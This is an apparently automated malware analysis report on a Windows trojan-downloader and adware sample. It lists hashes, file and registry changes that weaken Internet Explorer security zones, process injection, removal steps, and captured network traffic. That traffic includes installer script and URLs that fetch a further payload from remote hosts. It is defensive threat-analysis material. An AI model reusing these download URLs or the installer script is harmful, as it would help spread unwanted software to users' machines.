HEUR:Trojan-Downloader.Win32.Generic (Kaspersky), Gen:Variant.Adware.Graftor.239302 (B) (Emsisoft), Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan, Adware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 46e83561472460d6a84fe146421b10e0
SHA1: 23e82d0f79119d4c5540182e1ba02747782f1517
SHA256: b23775021eaf1fba1a66435cb9b73201f1838b3ac11d92cc0184fa7f43ff6b23
SSDeep: 3072:Ky0UWtWPFxNqhFKZLkCZpgxGFcwJhqRcjMcqoSQyKIAzTxZtH2ngJtgU2Ot3R:KlntWdzkskWpgMiRcjMcRIaZdpTgVOj
Size: 178383 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-09-06 11:02:30
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
%original file name%.exe:1756
The Trojan injects its code into the following process(es):
avg1.exe:1820
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:1756 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\avg1.exe (13484 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\FinalInstaller_dotnet4[1].exe (49345 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\desktop.ini (67 bytes)
The process avg1.exe:1820 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\installer[1].php (16760 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\604[1].css (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\progress604[1].css (539 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\header[1].jpg (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\finish[1].png (754 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\604[1].js (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\jquery-ui[1].css (12511 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\progress604[1].js (754 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\next[1].png (810 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\ui-bg_flat_75_ffffff_40x100[1].htm (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\global[1].css (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\installer[1].htm (9063 bytes)
Registry activity
The process %original file name%.exe:1756 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 F3 01 C2 73 82 AB B0 EB 3C 8E 6E CA FA 61 9C"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process avg1.exe:1820 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015120820151209]
"CacheRepair" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015120820151209]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012015120820151209\"
"CachePrefix" = ":2015120820151209:"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015120820151209]
"CacheOptions" = "11"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 BA C7 CF 5E 31 A3 25 80 A4 C3 38 CB D9 4E D1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015120820151209]
"CacheLimit" = "8192"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following registry key(s):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014031720140318]
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
23846a403ab4e24ee76f5d33ff06d0d3 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\avg1.exe |
23846a403ab4e24ee76f5d33ff06d0d3 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\FinalInstaller_dotnet4[1].exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1756
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\avg1.exe (13484 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\FinalInstaller_dotnet4[1].exe (49345 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\installer[1].php (16760 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\604[1].css (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\progress604[1].css (539 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\header[1].jpg (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\finish[1].png (754 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\604[1].js (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\jquery-ui[1].css (12511 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\TCE562QM\progress604[1].js (754 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P3LOCQI8\next[1].png (810 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WPUZ41YV\ui-bg_flat_75_ffffff_40x100[1].htm (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\global[1].css (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIBGTEV\installer[1].htm (9063 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 119950 | 120320 | 4.5126 | c9c195deecb6ad78b9432c5bcaddeb75 |
.rdata | 126976 | 29822 | 30208 | 3.3481 | e6785e888d6f30093be4da48ad7eb831 |
.data | 159744 | 13252 | 5632 | 2.17139 | ffd7a3c79c3250eb5bdab11798d43ebc |
.rsrc | 176128 | 3112 | 3584 | 4.6227 | b886f63c1d63f08ed6403cebe2359db8 |
.reloc | 180224 | 11036 | 11264 | 3.45258 | ab974dd152d61c49f663fb7264caa0ec |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://d20ssor9owizgr.cloudfront.net/finalinstaller/FinalInstaller_dotnet4.exe | 216.137.59.146 |
hxxp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4 | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/css/global.css | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/css/jquery-ui.css | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/carriers/604/css/604.css | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/carriers/604/js/604.js | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/setup_pages/general/progress604/css/progress604.css | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/setup_pages/general/progress604/js/progress604.js | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/carriers/604/img/header.jpg | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/setup_pages/general/img/next.png | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/setup_pages/general/img/finish.png | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/css/images/ui-bg_flat_75_ffffff_40x100.png | 52.1.45.42 |
hxxp://installer.fastmediaplayer.net/?pageNumber=0&event=document_ready&description=window_of_setup_loaded&pub_id=433&setup_id=604 | 52.1.45.42 |
hxxp://bi.fastmediaplayer.net/?pageNumber=0&event=document_ready&description=window_of_setup_loaded&pub_id=433&setup_id=604 | 52.1.45.42 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /?pageNumber=0&event=document_ready&description=window_of_setup_loaded&pub_id=433&setup_id=604 HTTP/1.1
Host: bi.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:01 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 08 Dec 2015 17:28:01 GMT..Content-Type: text/html; charset=UTF-8..
GET /css/global.css HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:27:59 GMT
Content-Type: text/css
Content-Length: 2778
Last-Modified: Mon, 25 May 2015 16:05:43 GMT
Connection: keep-alive
ETag: "55634857-ada"
Accept-Ranges: bytes
* {. margin: 0;. padding: 0;. border: 0;.}...body.{. float: left;. clear: both;. height: 299px;. width: 498px;.}...footer.{. float: left;. clear: both;. height: 60px;. width: 498px;.}...ButtonsRightSide.{. float: right;. margin-right: 25px;.}...bottomHrDiv .{. margin-left: 16px;. width: 462px;. border: 1px;. color: black;.}...bottomHr .{. border: 1px;. background-color: #b8b8b8;. height: 2px;.}...Accept.{. background: url('../setup_pages/general/img/accept.png') no-repeat center center;. height: 23px;. width: 90px;. cursor: pointer;.}...Finish.{. background: url('../setup_pages/general/img/finish.png') no-repeat center center;. height: 23px;. width: 90px;. cursor: pointer;.}...Exit.{. background: url('../setup_pages/general/img/exit.png') no-repeat center center;. height: 23px;. width: 90px;. cursor: pointer;.}...Cancel.{. background: url('../setup_pages/general/img/cancel.png') no-repeat center center;. height: 23px;. float: left;. margin-left: 20px;. width: 90px;. cursor: pointer;.}...Decline.{. background: url('../setup_pages/general/img/decline.png') no-repeat center center;. height: 23px;. float: left;. margin-left: 20px;. width: 90px;. cursor: pointer;.}...DeclineRight.{. background: url('../setup_pages/general/img/decline.png') no-repeat center center;. height: 23px;. float: right;. margin-right: 20px;. width: 90px;. cursor: pointer;.}...Back.{. background: ur
<<< skipped >>>
GET /css/jquery-ui.css HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:00 GMT
Content-Type: text/css
Content-Length: 31344
Last-Modified: Mon, 25 May 2015 16:05:43 GMT
Connection: keep-alive
ETag: "55634857-7a70"
Accept-Ranges: bytes
/*! jQuery UI - v1.8.24 - 2012-09-28.* hXXps://github.com/jquery/jquery-ui.* Includes: jquery.ui.core.css, jquery.ui.accordion.css, jquery.ui.autocomplete.css, jquery.ui.button.css, jquery.ui.datepicker.css, jquery.ui.dialog.css, jquery.ui.progressbar.css, jquery.ui.resizable.css, jquery.ui.selectable.css, jquery.ui.slider.css, jquery.ui.tabs.css, jquery.ui.theme.css.* Copyright (c) 2012 AUTHORS.txt; Licensed MIT, GPL */../* Layout helpers.----------------------------------*/..ui-helper-hidden { display: none; }..ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); }..ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; }..ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; }..ui-helper-clearfix:after { clear: both; }..ui-helper-clearfix { zoom: 1; }..ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); }.../* Interaction Cues.----------------------------------*/..ui-state-disabled { cursor: default !important; }.../* Icons.----------------------------------*/../* states and images */..ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; }.../* Misc visuals.----------------------------------*/../* Overlays */..ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }../* IE/Win - Fix animation b
<<< skipped >>>
GET /carriers/604/js/604.js HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:00 GMT
Content-Type: application/javascript
Content-Length: 180
Last-Modified: Thu, 03 Sep 2015 14:54:04 GMT
Connection: keep-alive
ETag: "55e85f0c-b4"
Accept-Ranges: bytes
window.external.SetCarrierSuccessRegCheck("CurrentUser\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\InternetQuickAccess");.window.external.SetCarrierCheckDelay(15000);....
GET /setup_pages/general/progress604/js/progress604.js HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:00 GMT
Content-Type: application/javascript
Content-Length: 754
Last-Modified: Mon, 31 Aug 2015 10:38:14 GMT
Connection: keep-alive
ETag: "55e42e96-2f2"
Accept-Ranges: bytes
...$(document).ready(function () {. $("#progressbar").progressbar({ value: 0 });. $("#progressbar > div").css({ 'background': '#b1e882' });.});..function StartDownload(url) {. PostUserActionsOnSetupPage($('#hiPageNum').val(), 'MainSetupStarted', "the_download_of_the_main_setup_started");. window.external.DownloadMainSetup(url, 'DownloadSetupFinished', 'ProgressBarProgChanged');.}..function ProgressBarProgChanged(progress) {. $("#progressbar").progressbar({ value: progress });.}..function DownloadSetupFinished() {. PostUserActionsOnSetupPage($('#hiPageNum').val(), 'MainSetupFinished', "the_download_of_the_main_setup_finished");. $("#DownloadingText").text("Download Completed Successfully");. $("#FinishDownload").show();.}....
GET /setup_pages/general/img/next.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:00 GMT
Content-Type: image/png
Content-Length: 810
Last-Modified: Mon, 25 May 2015 16:05:43 GMT
Connection: keep-alive
ETag: "55634857-32a"
Accept-Ranges: bytes
.PNG........IHDR...Z.................tEXtSoftware.Adobe ImageReadyq.e<....IDATx..W.KbQ..0..J.6".1..]......AW......Z...r.).1..P.BBP.@7............k4.f......gv....<.....w.|.;....t:ggg.f...y.....R...........u.\...................uoO$..z=..!.H.nw2...(..~.?.a.. .T..x.a......7&.f. ..#..m..e...S.._I...-X..!9...F&..F..J|..v.].T.....2.......l.^...noo..`....B..........o.8..h.......B.4..1.:??.A:X..AO.N...hd..P(.s^__.Z-(....yzz.-........b.lz<..l..///.n...pG...j.....\.f.a9.....//...X,....j.V.U.F.g"....KKK..$....&..P.S.Cb`....].8'.7.V...F..h........`0...$...u.}...y0rpp....V........X,..N.R.....dsss|.6.R...V..p8VWW.......qr....D":....T*.Bagg.........r.._.U.{.v..x..Q...&.iyy.V...g,.3..N........^....Z[[#.=.......k........>.U.........e..}S.....e.L....\.F......B.TB.T.T...Y.$...R}>..7.Eq....o..........f..2.L....IEND.B`.....
GET /css/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 08 Dec 2015 17:28:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
b6.................1.D{..X..Q.2....m......bVbD..M..........*.OAO'..A....t;oa..6|...KT..)..q....8-.......)fJZ..7.(J.v.UB.....OOVz..w...`.l.}...._L..v...LDX..'.c..1.@)q*..@...#~...5...4.....0..HTTP/1.1 404 Not Found..Server: nginx..Date: Tue, 08 Dec 2015 17:28:01 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Content-Encoding: gzip..b6.................1.D{..X..Q.2....m......bVbD..M..........*.OAO'..A....t;oa..6|...KT..)..q....8-.......)fJZ..7.(J.v.UB.....OOVz..w...`.l.}...._L..v...LDX..'.c..1.@)q*..@...#~...5...4.....0..
GET /installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
